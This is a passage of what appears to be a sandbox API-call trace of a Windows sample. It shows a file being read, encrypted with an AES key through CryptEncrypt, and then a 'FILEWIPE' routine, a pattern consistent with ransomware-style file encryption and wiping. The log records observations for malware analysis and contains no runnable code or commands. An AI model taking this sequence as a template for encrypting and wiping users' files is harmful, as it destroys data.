(in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.590] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.590] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.590] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.592] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.592] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.593] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x64d, lpOverlapped=0x0) returned 1 [0024.593] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.595] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.595] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.595] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.595] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.596] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.596] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.596] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.596] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.596] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.597] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.597] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.597] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.597] CryptGetKeyParam (in: hKey=0xe8f4062790, dwParam=0x7, pbData=0xe8f4064c70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.597] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.597] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.598] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.599] CryptEncrypt (in: hKey=0xe8f4062790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1064d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10650) returned 1 [0024.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.599] CharLowerBuffW (in: lpsz="byte[67153]", cchLength=0xb | out: lpsz="byte[67153]") returned 0xb [0024.599] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.600] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.600] CryptEncrypt (in: hKey=0xe8f4062790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f1cf0*, pdwDataLen=0xe8f3dfdf68*=0x1064d, dwBufLen=0x10650 | out: pbData=0xe8f41f1cf0*, pdwDataLen=0xe8f3dfdf68*=0x10650) returned 1 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.600] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.600] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.600] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.601] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.601] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.601] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.601] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.604] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.605] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.605] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.605] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.605] CryptDestroyKey (hKey=0xe8f4062790) returned 1 [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.605] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.605] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.605] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.606] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.606] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.606] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.606] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.606] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.606] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.606] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.607] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.607] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0024.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.607] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.607] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.607] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.607] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.610] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.610] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.610] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.610] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.610] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.610] CharLowerBuffW (in: lpsz="byte[67149]", cchLength=0xb | out: lpsz="byte[67149]") returned 0xb [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.612] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.612] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.612] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.612] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 